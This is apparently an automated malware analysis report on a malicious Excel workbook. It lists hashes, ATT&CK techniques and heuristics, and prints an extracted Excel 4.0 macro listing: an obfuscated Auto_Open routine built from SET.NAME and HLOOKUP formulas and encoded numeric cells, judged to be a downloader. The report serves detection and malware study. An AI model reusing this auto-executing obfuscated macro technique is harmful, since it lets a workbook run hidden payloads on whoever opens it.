Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea6166c3d77b2971…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:41 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: f8c8c8b69842e680d794797ce5d0a0e3 SHA-1: 7a2595663d2c567e1a8cfc5a1833f9c1bab0f311 SHA-256: ea6166c3d77b2971725dfe88fd2f655d479b64e722ba54b5dabfb7c108c0cb4d
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is a known method for executing malicious code upon opening the document. The macro sheet contains dangerous formula APIs, specifically referencing 'RUN', suggesting it's designed to execute a payload. No specific family could be identified, but the technique points to a macro-based downloader.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6735 bytes
SHA-256: 9d7ec544140846b24636989f3f46d6d5d5db93c3518cdfe75ed8b1c2769c1f11
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ZjkzpeDy
' 0018     27 LABEL : Cell Value, String Constant - aGLufYSJYnKu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G148 
' 0018     22 LABEL : Cell Value, String Constant - CAVBXYY len=0 
' 0018     25 LABEL : Cell Value, String Constant - CJtRsByLZd len=0 
' 0018     22 LABEL : Cell Value, String Constant - clAsGxs len=0 
' 0018     21 LABEL : Cell Value, String Constant - dhOoOx len=0 
' 0018     20 LABEL : Cell Value, String Constant - Eckpa len=0 
' 0018     23 LABEL : Cell Value, String Constant - gRALvfVO len=0 
' 0018     21 LABEL : Cell Value, String Constant - hVBgvY len=0 
' 0018     27 LABEL : Cell Value, String Constant - iCtZCPKtYJPK len=0 
' 0018     25 LABEL : Cell Value, String Constant - jFirsYqCNh len=0 
' 0018     23 LABEL : Cell Value, String Constant - lgIqGoKF len=0 
' 0018     21 LABEL : Cell Value, String Constant - OpEoNo len=0 
' 0018     22 LABEL : Cell Value, String Constant - pnywVjt len=0 
' 0018     27 LABEL : Cell Value, String Constant - pnZWubnfQaeI len=0 
' 0018     22 LABEL : Cell Value, String Constant - rvmJYvk len=0 
' 0018     24 LABEL : Cell Value, String Constant - uEEnVHQUD len=0 
' 0018     27 LABEL : Cell Value, String Constant - UihnYoVnVjUs len=0 
' 0018     21 LABEL : Cell Value, String Constant - YBdoGB len=0 
' 0018     21 LABEL : Cell Value, String Constant - yGFHsu len=0 
' 0018     21 LABEL : Cell Value, String Constant - YNKJCo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ZjkzpeDy,G66,"SET.NAME("UihnYoVnVjUs",0+VALUE("0"))",""
'  ZjkzpeDy,G68,"SET.NAME("lgIqGoKF",UihnYoVnVjUs)",""
'  ZjkzpeDy,G73,"SET.NAME("jFirsYqCNh",UihnYoVnVjUs)",""
'  ZjkzpeDy,G77,"SET.NAME("CJtRsByLZd",COUNTA(aGLufYSJYnKu))",""
'  ZjkzpeDy,G80,"SET.NAME("pnZWubnfQaeI",COUNTA(YNKJCo))",""
'  ZjkzpeDy,G82,[],""
'  ZjkzpeDy,G86,"SET.NAME("dhOoOx","")",""
'  ZjkzpeDy,G88,"lgIqGoKF",""
'  ZjkzpeDy,R88,"",308.00000000000000000000
'  ZjkzpeDy,R89,"",-452.00000000000000000000
'  ZjkzpeDy,G90,"SET.NAME("gRALvfVO",HLOOKUP("*",aGLufYSJYnKu,lgIqGoKF,FALSE))",""
'  ZjkzpeDy,R90,"",102.00000000000000000000
'  ZjkzpeDy,R91,"",-782.00000000000000000000
'  ZjkzpeDy,R92,"",-915.00000000000000000000
'  ZjkzpeDy,G93,"uEEnVHQUD",""
'  ZjkzpeDy,R93,"",-689.00000000000000000000
'  ZjkzpeDy,G97,"SET.NAME("hVBgvY",UihnYoVnVjUs)",""
'  ZjkzpeDy,G99,[],""
'  ZjkzpeDy,G101,"hVBgvY",""
'  ZjkzpeDy,G105,"clAsGxs",""
'  ZjkzpeDy,G108,"OpEoNo",""
'  ZjkzpeDy,G110,"rvmJYvk",""
'  ZjkzpeDy,G112,"SET.NAME("pnywVjt",VALUE(HLOOKUP("*",YNKJCo,rvmJYvk,FALSE)))",""
'  ZjkzpeDy,G116,"YBdoGB",""
'  ZjkzpeDy,G121,"dhOoOx",""
'  ZjkzpeDy,G126,"jFirsYqCNh",""
'  ZjkzpeDy,G128,NEXT(),""
'  ZjkzpeDy,G133,"Eckpa",""
'  ZjkzpeDy,G137,[],""
'  ZjkzpeDy,G139,"yGFHsu",""
'  ZjkzpeDy,G142,NEXT(),""
'  ZjkzpeDy,G144,RETURN(),""
'  ZjkzpeDy,G172,"SET.NAME("CAVBXYY",G66)",""
'  ZjkzpeDy,G175,"aGLufYSJYnKu",""
'  ZjkzpeDy,G180,"SET.NAME("YNKJCo",R66C12)",""
'  ZjkzpeDy,G185,"SET.NAME("yGFHsu",194)",""
'  ZjkzpeDy,G188,"SET.NAME("iCtZCPKtYJPK",7)",""
'  ZjkzpeDy,G193,CAVBXYY(),""
'  ZjkzpeDy,G194,HALT(),""

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